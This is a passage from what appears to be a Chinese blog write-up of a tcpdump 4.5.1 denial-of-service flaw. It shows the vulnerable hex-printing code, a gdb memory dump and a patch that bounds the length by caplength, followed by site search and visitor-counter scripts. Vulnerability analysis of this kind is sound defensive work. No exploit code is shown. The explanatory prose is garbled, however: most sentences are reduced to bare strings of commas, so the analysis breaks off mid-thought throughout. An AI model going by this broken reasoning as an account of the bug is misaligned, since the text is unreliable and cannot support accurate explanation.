= "line" > 19. if ((i % 8) == 0)< / span > < br > < span class = "line" > 20. (void)printf(" %s0x%04x: " , ident, oset);< / span > < br > < span class = "line" > 21. (void)printf(" %02x" , *cp);< / span > < br > < span class = "line" > 22. } < / span > < br > < span class = "line" > nshorts=(u_int) length / sizeof(u_short) => nshorts=0xfffffff3/2= < / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
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< p > 但数据包数据没有这么长， < / p >
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< h3 id = "内存分析" > < a href = "#内存分析" class = "headerlink" title = "内存分析" > < / a > 内存分析< / h3 > < p > 仔细分析之后发现， ， ， < br > 通过查看epx的值来看一下这个内存到底开辟到什么位置< br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > 1. gdb-peda$ x/10000000x 0x81e33bd< / span > < br > < span class = "line" > 2. 0x8203fdd: 0x00000000 0x00000000 0x00000000 0x00000000< / span > < br > < span class = "line" > 3. 0x8203fed: 0x00000000 0x00000000 0x00000000 0x00000000< / span > < br > < span class = "line" > 4. 0x8203ffd: Cannot access memory at address 0x8204000< / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
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< p > 可以看到， ， ， ， ， ， ， < br > 来看一下到达拒绝服务位置读取的长度： – > 0x0； ； < br > EBP刚好为10621。正是不可读取内存空间的地址， < / p >
< h3 id = "漏洞总结" > < a href = "#漏洞总结" class = "headerlink" title = "漏洞总结" > < / a > 漏洞总结< / h3 > < p > 总结一下整个漏洞触发过程， ， ， ， ， ， ， < / p >
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< h2 id = "漏洞修补" > < a href = "#漏洞修补" class = "headerlink" title = "漏洞修补" > < / a > 漏洞修补< / h2 > < p > Libpcap依然是apt安装的默认版本， < br > 在hex_and_ascii_print_with_offset中增加对caplength的判断< br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > 1. caplength = (ndo-> ndo_snapend > = cp) ? ndo-> ndo_snapend - cp : 0;< / span > < br > < span class = "line" > 2. if (length > caplength)< / span > < br > < span class = "line" > 3. length = caplength;< / span > < br > < span class = "line" > 4. nshorts = length / sizeof(u_short);< / span > < br > < span class = "line" > 5. i = 0;< / span > < br > < span class = "line" > 6. hsp = hexstuff; asp = asciistuff;< / span > < br > < span class = "line" > 7. while (--nshorts > = 0) { < / span > < br > < span class = "line" > 8. ...< / span > < br > < span class = "line" > 9. } < / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
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< p > 可以看到执行完caplength = (ndo-> ndo_snapend > = cp) ? ndo-> ndo_snapend - cp : 0;， ， ， ， < / p >
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< a href = "https://www.instagram.com/yan__han/" target = "_blank" title = "Instagram" >
< i class = "fa fa-fw fa-instagram" > < / i > Instagram< / a >
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< div id = "music163player" >
< iframe frameborder = "no" border = "0" marginwidth = "0" marginheight = "0" width = "330" height = "450" src = "//music.163.com/outchain/player?type=4&id=334277093&auto=1&height=430" > < / iframe >
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< div class = "post-toc-content" > < ol class = "nav" > < li class = "nav-item nav-level-1" > < a class = "nav-link" href = "#TCPDUMP-4-5-1-拒绝服务攻击漏洞分析" > < span class = "nav-text" > TCPDUMP 4.5.1 拒绝服务攻击漏洞分析< / span > < / a > < ol class = "nav-child" > < li class = "nav-item nav-level-2" > < a class = "nav-link" href = "#Tcpdump介绍" > < span class = "nav-text" > Tcpdump介绍< / span > < / a > < / li > < li class = "nav-item nav-level-2" > < a class = "nav-link" href = "#分析环境" > < span class = "nav-text" > 分析环境< / span > < / a > < / li > < li class = "nav-item nav-level-2" > < a class = "nav-link" href = "#漏洞复现" > < span class = "nav-text" > 漏洞复现< / span > < / a > < ol class = "nav-child" > < li class = "nav-item nav-level-3" > < a class = "nav-link" href = "#编译安装tcpdump" > < span class = "nav-text" > 编译安装tcpdump< / span > < / a > < / li > < li class = "nav-item nav-level-3" > < a class = "nav-link" href = "#生成payload（ ） > < span class = "nav-text" > 生成payload（ ） < / span > < / a > < / li > < / ol > < / li > < li class = "nav-item nav-level-2" > < a class = "nav-link" href = "#崩溃分析" > < span class = "nav-text" > 崩溃分析< / span > < / a > < ol class = "nav-child" > < li class = "nav-item nav-level-3" > < a class = "nav-link" href = "#pcap包格式" > < span class = "nav-text" > pcap包格式< / span > < / a > < / li > < li class = "nav-item nav-level-3" > < a class = "nav-link" href = "#gdb调试" > < span class = "nav-text" > gdb调试< / span > < / a > < / li > < li class = "nav-item nav-level-3" > < a class = "nav-link" href = "#内存分析" > < span class = "nav-text" > 内存分析< / span > < / a > < / li > < li class = "nav-item nav-level-3" > < a class = "nav-link" href = "#漏洞总结" > < span class = "nav-text" > 漏洞总结< / span > < / a > < / li > < / ol > < / li > < li class = "nav-item nav-level-2" > < a class = "nav-link" href = "#漏洞修补" > < span class = "nav-text" > 漏洞修补< / span > < / a > < / li > < li class = "nav-item nav-level-2" > < a class = "nav-link" href = "#参考" > < span class = "nav-text" > 参考< / span > < / a > < / li > < / ol > < / li > < / ol > < / div >
2019-07-01 09:29:47 +00:00
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< span class = "site-uv" >
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< div class = "back-to-top" >
< i class = "fa fa-arrow-up" > < / i >
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if (Object.prototype.toString.call(window.Promise) !== '[object Function]') {
window.Promise = null;
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< script type = "text/javascript" src = "/lib/jquery/index.js?v=2.1.3" > < / script >
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< script type = "text/javascript" >
// Popup Window;
var isfetched = false;
var isXml = true;
// Search DB path;
var search_path = "search.xml";
if (search_path.length === 0) {
search_path = "search.xml";
} else if (/json$/i.test(search_path)) {
isXml = false;
}
var path = "/" + search_path;
// monitor main search box;
var onPopupClose = function (e) {
$('.popup').hide();
$('#local-search-input').val('');
$('.search-result-list').remove();
$('#no-result').remove();
$(".local-search-pop-overlay").remove();
$('body').css('overflow', '');
}
function proceedsearch() {
$("body")
.append('< div class = "search-popup-overlay local-search-pop-overlay" > < / div > ')
.css('overflow', 'hidden');
$('.search-popup-overlay').click(onPopupClose);
$('.popup').toggle();
var $localSearchInput = $('#local-search-input');
$localSearchInput.attr("autocapitalize", "none");
$localSearchInput.attr("autocorrect", "off");
$localSearchInput.focus();
}
// search function;
var searchFunc = function(path, search_id, content_id) {
'use strict';
// start loading animation
$("body")
.append('< div class = "search-popup-overlay local-search-pop-overlay" > ' +
'< div id = "search-loading-icon" > ' +
'< i class = "fa fa-spinner fa-pulse fa-5x fa-fw" > < / i > ' +
'< / div > ' +
'< / div > ')
.css('overflow', 'hidden');
$("#search-loading-icon").css('margin', '20% auto 0 auto').css('text-align', 'center');
$.ajax({
url: path,
dataType: isXml ? "xml" : "json",
async: true,
success: function(res) {
// get the contents from search data
isfetched = true;
$('.popup').detach().appendTo('.header-inner');
var datas = isXml ? $("entry", res).map(function() {
return {
title: $("title", this).text(),
content: $("content",this).text(),
url: $("url" , this).text()
};
}).get() : res;
var input = document.getElementById(search_id);
var resultContent = document.getElementById(content_id);
var inputEventFunction = function() {
var searchText = input.value.trim().toLowerCase();
var keywords = searchText.split(/[\s\-]+/);
if (keywords.length > 1) {
keywords.push(searchText);
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var resultItems = [];
if (searchText.length > 0) {
// perform local searching
datas.forEach(function(data) {
var isMatch = false;
var hitCount = 0;
var searchTextCount = 0;
var title = data.title.trim();
var titleInLowerCase = title.toLowerCase();
var content = data.content.trim().replace(/< [^>]+>/g,"");
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text = text.toLowerCase();
word = word.toLowerCase();
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while ((position = text.indexOf(word, startPosition)) > -1) {
index.push({position: position, word: word});
startPosition = position + wordLen;
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return index;
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indexOfTitle = indexOfTitle.concat(getIndexByWord(keyword, titleInLowerCase, false));
indexOfContent = indexOfContent.concat(getIndexByWord(keyword, contentInLowerCase, false));
});
if (indexOfTitle.length > 0 || indexOfContent.length > 0) {
isMatch = true;
hitCount = indexOfTitle.length + indexOfContent.length;
}
}
// show search results
if (isMatch) {
// sort index by position of keyword
[indexOfTitle, indexOfContent].forEach(function (index) {
index.sort(function (itemLeft, itemRight) {
if (itemRight.position !== itemLeft.position) {
return itemRight.position - itemLeft.position;
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return itemLeft.word.length - itemRight.word.length;
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});
});
// merge hits into slices
function mergeIntoSlice(text, start, end, index) {
var item = index[index.length - 1];
var position = item.position;
var word = item.word;
var hits = [];
var searchTextCountInSlice = 0;
while (position + word.length < = end & & index.length != 0) {
if (word === searchText) {
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hits.push({position: position, length: word.length});
var wordEnd = position + word.length;
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index.pop();
while (index.length != 0) {
item = index[index.length - 1];
position = item.position;
word = item.word;
if (wordEnd > position) {
index.pop();
} else {
break;
}
}
}
searchTextCount += searchTextCountInSlice;
return {
hits: hits,
start: start,
end: end,
searchTextCount: searchTextCountInSlice
};
}
var slicesOfTitle = [];
if (indexOfTitle.length != 0) {
slicesOfTitle.push(mergeIntoSlice(title, 0, title.length, indexOfTitle));
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var slicesOfContent = [];
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var item = indexOfContent[indexOfContent.length - 1];
var position = item.position;
var word = item.word;
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var start = position - 20;
var end = position + 80;
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if (end < position + word . length ) {
end = position + word.length;
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if(end > content.length){
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slicesOfContent.push(mergeIntoSlice(content, start, end, indexOfContent));
}
// sort slices in content by search text's count and hits' count
slicesOfContent.sort(function (sliceLeft, sliceRight) {
if (sliceLeft.searchTextCount !== sliceRight.searchTextCount) {
return sliceRight.searchTextCount - sliceLeft.searchTextCount;
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return sliceRight.hits.length - sliceLeft.hits.length;
} else {
return sliceLeft.start - sliceRight.start;
}
});
// select top N slices in content
var upperBound = parseInt('1');
if (upperBound >= 0) {
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}
// highlight title and content
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var result = '';
var prevEnd = slice.start;
slice.hits.forEach(function (hit) {
result += text.substring(prevEnd, hit.position);
var end = hit.position + hit.length;
result += '< b class = "search-keyword" > ' + text.substring(hit.position, end) + '< / b > ';
prevEnd = end;
});
result += text.substring(prevEnd, slice.end);
return result;
}
var resultItem = '';
if (slicesOfTitle.length != 0) {
resultItem += "< li > < a href = '" + articleUrl + "' class = 'search-result-title' > " + highlightKeyword(title, slicesOfTitle[0]) + "< / a > ";
} else {
resultItem += "< li > < a href = '" + articleUrl + "' class = 'search-result-title' > " + title + "< / a > ";
}
slicesOfContent.forEach(function (slice) {
resultItem += "< a href = '" + articleUrl + "' > " +
"< p class = \"search-result\" > " + highlightKeyword(content, slice) +
"...< / p > " + "< / a > ";
});
resultItem += "< / li > ";
resultItems.push({
item: resultItem,
searchTextCount: searchTextCount,
hitCount: hitCount,
id: resultItems.length
});
}
})
};
if (keywords.length === 1 & & keywords[0] === "") {
resultContent.innerHTML = '< div id = "no-result" > < i class = "fa fa-search fa-5x" / > < / div > '
} else if (resultItems.length === 0) {
resultContent.innerHTML = '< div id = "no-result" > < i class = "fa fa-frown-o fa-5x" / > < / div > '
} else {
resultItems.sort(function (resultLeft, resultRight) {
if (resultLeft.searchTextCount !== resultRight.searchTextCount) {
return resultRight.searchTextCount - resultLeft.searchTextCount;
} else if (resultLeft.hitCount !== resultRight.hitCount) {
return resultRight.hitCount - resultLeft.hitCount;
} else {
return resultRight.id - resultLeft.id;
}
});
var searchResultList = '< ul class = \"search-result-list\" > ';
resultItems.forEach(function (result) {
searchResultList += result.item;
})
searchResultList += "< / ul > ";
resultContent.innerHTML = searchResultList;
}
}
if ('auto' === 'auto') {
input.addEventListener('input', inputEventFunction);
} else {
$('.search-icon').click(inputEventFunction);
input.addEventListener('keypress', function (event) {
if (event.keyCode === 13) {
inputEventFunction();
}
});
}
// remove loading animation
$(".local-search-pop-overlay").remove();
$('body').css('overflow', '');
proceedsearch();
}
});
}
// handle and trigger popup window;
$('.popup-trigger').click(function(e) {
e.stopPropagation();
if (isfetched === false) {
searchFunc(path, 'local-search-input', 'local-search-result');
} else {
proceedsearch();
};
});
$('.popup-btn-close').click(onPopupClose);
$('.popup').click(function(e){
e.stopPropagation();
});
$(document).on('keyup', function (event) {
var shouldDismissSearchPopup = event.which === 27 & &
$('.search-popup').is(':visible');
if (shouldDismissSearchPopup) {
onPopupClose();
}
});
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< script src = "https://cdn1.lncld.net/static/js/av-core-mini-0.6.4.js" > < / script >
< script > AV . initialize ( "EWwoJgHNdlj6iBjiFlMcabUO-gzGzoHsz" , "x8FxDrYG79C8YFrTww9ljo8K" ) ; < / script >
< script >
function showTime(Counter) {
var query = new AV.Query(Counter);
var entries = [];
var $visitors = $(".leancloud_visitors");
$visitors.each(function () {
entries.push( $(this).attr("id").trim() );
});
query.containedIn('url', entries);
query.find()
.done(function (results) {
var COUNT_CONTAINER_REF = '.leancloud-visitors-count';
if (results.length === 0) {
$visitors.find(COUNT_CONTAINER_REF).text(0);
return;
}
for (var i = 0; i < results.length ; i + + ) {
var item = results[i];
var url = item.get('url');
var time = item.get('time');
var element = document.getElementById(url);
$(element).find(COUNT_CONTAINER_REF).text(time);
}
for(var i = 0; i < entries.length ; i + + ) {
var url = entries[i];
var element = document.getElementById(url);
var countSpan = $(element).find(COUNT_CONTAINER_REF);
if( countSpan.text() == '') {
countSpan.text(0);
}
}
})
.fail(function (object, error) {
console.log("Error: " + error.code + " " + error.message);
});
}
function addCount(Counter) {
var $visitors = $(".leancloud_visitors");
var url = $visitors.attr('id').trim();
var title = $visitors.attr('data-flag-title').trim();
var query = new AV.Query(Counter);
query.equalTo("url", url);
query.find({
success: function(results) {
if (results.length > 0) {
var counter = results[0];
counter.fetchWhenSave(true);
counter.increment("time");
counter.save(null, {
success: function(counter) {
var $element = $(document.getElementById(url));
$element.find('.leancloud-visitors-count').text(counter.get('time'));
},
error: function(counter, error) {
console.log('Failed to save Visitor num, with error message: ' + error.message);
}
});
} else {
var newcounter = new Counter();
/* Set ACL */
var acl = new AV.ACL();
acl.setPublicReadAccess(true);
acl.setPublicWriteAccess(true);
newcounter.setACL(acl);
/* End Set ACL */
newcounter.set("title", title);
newcounter.set("url", url);
newcounter.set("time", 1);
newcounter.save(null, {
success: function(newcounter) {
var $element = $(document.getElementById(url));
$element.find('.leancloud-visitors-count').text(newcounter.get('time'));
},
error: function(newcounter, error) {
console.log('Failed to create');
}
});
}
},
error: function(error) {
console.log('Error:' + error.code + " " + error.message);
}
});
}
$(function() {
var Counter = AV.Object.extend("Counter");
if ($('.leancloud_visitors').length == 1) {
addCount(Counter);
} else if ($('.post-title-link').length > 1) {
showTime(Counter);
}
});
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< script >
(function(){
var bp = document.createElement('script');
var curProtocol = window.location.protocol.split(':')[0];
if (curProtocol === 'https') {
bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';
}
else {
bp.src = 'http://push.zhanzhang.baidu.com/push.js';
}
var s = document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(bp, s);
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